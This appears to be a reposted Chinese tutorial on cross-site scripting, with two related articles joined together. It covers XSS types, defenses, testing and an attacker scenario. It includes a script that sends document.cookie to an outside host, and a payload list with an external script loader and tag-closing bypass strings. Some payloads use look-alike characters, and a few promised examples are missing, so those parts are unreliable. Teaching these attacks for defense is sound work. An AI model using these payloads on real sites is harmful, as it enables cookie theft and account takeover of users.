XSS攻击详解

Posted 卖菜的小白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS攻击详解相关的知识,希望对你有一定的参考价值。

本篇博客主要总结一下什么是XSS攻击,并且如何防范XSS攻击。
一、什么是XSS攻击
XSS攻击中文名称为:跨站脚本攻击XSS的重点不在于跨站,而在于脚本的攻击。
XSS攻击的工作原理:攻击者会在web页面中插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌套在该页面的代码就会执行,因此会达到攻击用户的目的。
XSS的分类XSS攻击最主要分为如下几类,反射型存储型DOM-based型反射型和DOM-based型可以归类于非持久性XSS攻击。存储型可以归类于持久性XSS攻击。
二、反射型XSS
反射型XSS攻击原理:攻击者发送给被攻击者一个邮件信息或者链接,当被攻击者点击并访问该链接时,此时就会向攻击者的目标服务器发起请求,此时根据请求返回相关的script代码,当浏览器解析这些script代码时,此时代码就会在浏览器执行,造成用户被攻击。
下面我们看一个小例子,模拟一下xss攻击。


上述就是一个简单的反射XSS攻击的例子。
当我们访问一个网站时,此时如果攻击者在该网站上设置了一个恶意连接,此时当我们点击该链接时,就会向攻击者服务器发起请求,返回对应的脚本,此时当浏览器加载该脚本文件时,就会出现token或者cookie等信息的泄漏。
三、存储XSS攻击
存储型XSS攻击是持久性攻击方式,因为该攻击的代码会提交到服务器中的数据中进行保存。此时我们可以看一个例子:比如说存在一个博客网站,每一个用户都可以在该博客网站上发表博客。此时当用户写入了一些js代码例如:

<script>window.open("http://www.fordldmc.com?params=" + document.cookie)</script>

此时如果不加处理,就会保存在服务器的数据库中,此时当其他用户访问该博客时,用户的浏览器就会执行这段script代码,此时本地的cookie就会发送到http://www.fordldmc.com这个网址上,造成cookie泄漏。攻击者就会拿到cookie冒充用户身份,登录账号。
如何解决呢?
预防存储XSS攻击:可以在后端做一些过滤,也可以在前端做一些转义特殊字符之类的。
四、DOM-based型XSS攻击
我们的客户端的js可以对DOM节点进行动态的操作,比如插入,修改页面的内容。比如说客户端从url中提取数据并且在本地执行,如果用户在客户端输入的数据包含了恶意的js脚本的话,但是这些脚本又没有做过任何过滤处理的话,那么我们的应用程序就有可能受到DOM-based XSS攻击,因此DOM型XSS攻击步骤如下。
1、攻击者构造出特殊的url,其中包含恶意代码。
2、用户打开带有恶意代码的url。
3、用户浏览器接收到响应后解析执行,前端取出恶意代码并执行。
4、恶意代码窃取用户数据并且发送到攻击者的网站,冒充用户的行为。
DOM-based xss和之前两种xss攻击的区别,DOM-based xss是前端的漏洞,但是前面两个是服务器的漏洞。
下面看一下简单案例:

五、XSS攻击的预防
关于前面我们知道了XSS攻击形成的存在两个原因,一个是攻击者提交恶意代码,另一个是浏览器执行恶意代码
5.1、输入过滤
针对第一种输入过滤,我们可以思考一下,如果我们在前端进行过滤,也就是当用户准备提交时进行过滤如何?肯定是不行的,如果在用户提交时在前端过滤,那么用户可能会不通过前端,而直接去请求接口,这样就无法阻止攻击者提交恶意代码。如果在代码在后端准备写入数据库中进行定义如何?答案也是不行的,举一个例子,如果我们提交5 < 7,此时如果在准备插入数据库进行ecapehtml编码,此时就会编译成5 &lt; 7,此时当前端请求数据时,此时返回页面是5 < 7是没有问题的,但是如果在像vue这些框架中使用,则无法进行转义,任然显示5 &It; 7。所以输入过滤是不行的。但是对于一些特别的输入比如电话号码,邮箱地址等等信息可以使用输入过滤。此时我们应该将侧重点放在防止浏览器恶意执行代码
5.2、预防存储型和反射型 XSS 攻击
存储型和反射型XSS都是在服务端取出恶意代码,出入到相应HTML中的,攻击者可以编写数据被内嵌到代码中,被浏览器执行,所以为了预防这两个漏洞,采用的常见做法为:1、改为纯前端渲染,把代码和数据分开,2、对HTML做充分的转义
5.2.1、纯前端渲染
浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
然后浏览器执行 HTML 中的 javascript
JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。浏览器不会被轻易的被欺骗,执行预期外的代码了。
5.2.2、转义HTML
如果需要拼接HTML是必要的话,就需要采用合适的转义库,对HTML模板各处插入点进行充分的转义。常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ’ / 这几个字符转义掉,确实能起到一定的 XSS 防护作用。
5.3、预防DOM型XSS攻击
DOM型XSS攻击,实际上就是网站前端javascript代码本身不够严谨,把不可信的数据当做代码执行了。在使用.innerHTML,.outerHTML,document.write()时要特别小心,不要把不可信的数据当做HTML插入到页面上,而应尽量使用.textContent.setAttribute
六、其他的XSS攻击
虽然在渲染页面和执行javascript时,通过谨慎的转义可以防止xss的发生,但完全依赖开发的严谨任然是不够的,以下介绍一些通用的方案,可以降低xss带来的风险和后果。
6.1、CSP
Content Security Policy:
严格的CSPXSS的防范中可以起到以下作用:

禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现 XSS,利于尽快修复问题。

6.2、输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止XSS发生,但可以增加xss攻击的难度。

6.3、其他安全措施

http-only cookie:禁止javascript读取某些敏感的cookie,攻击者完成xss注入后无法窃取此cookie.

验证码:防止脚本冒充用户提交危险操作。

七、XSS攻击总结
1、XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

上面描述是错误的,因为防范存储型和反射型xss是后端的责任,但是DOM型的xss不发生在后端而是前端的责任,防范xss是前端和后端共同的责任。
转义应该在输出HTML进行转义,而不是在提交用户输入时。

2、所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

不正确。 不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。 业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

XSS(跨站脚本攻击)详解 (上)

XSS的原理和分类

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

 

XSS分为:存储型 、反射型 、DOM型XSS

XSS(跨站脚本攻击)详解 (上)


存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。 

可能触发DOM型XSS的属性

document.refererwindow.namelocationinnerHTMLdocumen.write

如图,我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。


XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//

<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中


<script>alert("hack")</script> #弹出hack<script>alert(/hack/)</script> #弹出hack<script>alert(1)</script> #弹出1,对于数字可以不用引号<script>alert(document.cookie)</script> #弹出cookie<script src=http://xxx.com/xss.js></script> #引用外部的xss

svg标签 

<svg onload="alert(1)"><svg onload="alert(1)"//

<img>标签

<img src=1 οnerrοr=alert("hack")><img src=1 οnerrοr=alert(document.cookie)> #弹出cookie

<body>标签

<body οnlοad=alert(1)><body οnpageshοw=alert(1)>

video标签

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style标签:

<style οnlοad=alert(1)></style>


XSS可以插在哪里?

  • 用户输入作为script标签内容

  • 用户输入作为HTML注释内容

  • 用户输入作为HTML标签的属性名

  • 用户输入作为HTML标签的属性值

  • 用户输入作为HTML标签的名字

  • 直接插入到CSS里

  • 最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!




#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过<!-- 用户输入 --><!-- --><script>alert('hack')</script><!-- --> #用户输入作为标签属性名,导致攻击者可以进行闭合绕过<div 用户输入="xx"> </div><div ></div><script>alert('hack')</script><div a="xx"> </div> #用户输入作为标签属性值,导致攻击者可以进行闭合绕过<div id="用户输入"></div><div id=""></div><script>alert('hack')</script><div a="x"></div> #用户输入作为标签名,导致攻击者可以进行闭合绕过<用户输入 id="xx" /><><script>alert('hack')</script><b id="xx" /> #用户输入作为CSS内容,导致攻击者可以进行闭合绕过<style>用户输入<style><style> </style><script>alert('hack')</script><style> </style>

XSS漏洞的挖掘 

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

  • URL的每一个参数

  • URL本身

  • 表单

  • 搜索框


常见业务场景

  • 重灾区:评论区、留言区、个人信息、订单信息等

  • 针对型:站内信、网页即时通讯、私信、意见反馈

  • 存在风险:搜索框、当前目录、图片属性等


白盒测试(代码审计)

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。


PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。


也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。


大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。


同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。


XSS的攻击过程

反射型XSS漏洞:

  1. Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。

  2. Tom 发现 Bob的站点存在反射性的XSS漏洞

  3. Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击

  4. Alice在登录到Bob的站点后,浏览了 Tom 提供的恶意链接

  5. 嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。

  6. Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制


存储型XSS漏洞:

  1. Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。

  2. Tom检测到Bob的站点存在存储型的XSS漏洞。

  3. Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息。

  4. Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。

  5. Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击


XSS漏洞的危害

从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。


那么,利用XSS漏洞可以干什么呢?


以上是关于XSS攻击详解的主要内容,如果未能解决你的问题,请参考以下文章

3大Web安全漏洞防御详解:XSS、CSRF、以及SQL注入解决方案

反射/存储/DOM型XSS攻击原理及攻击流程详解

web 安全问题:XSS攻击

WEB安全测试之XSS攻击

web安全之XSS攻击原理及防范

web安全之XSS攻击原理及防范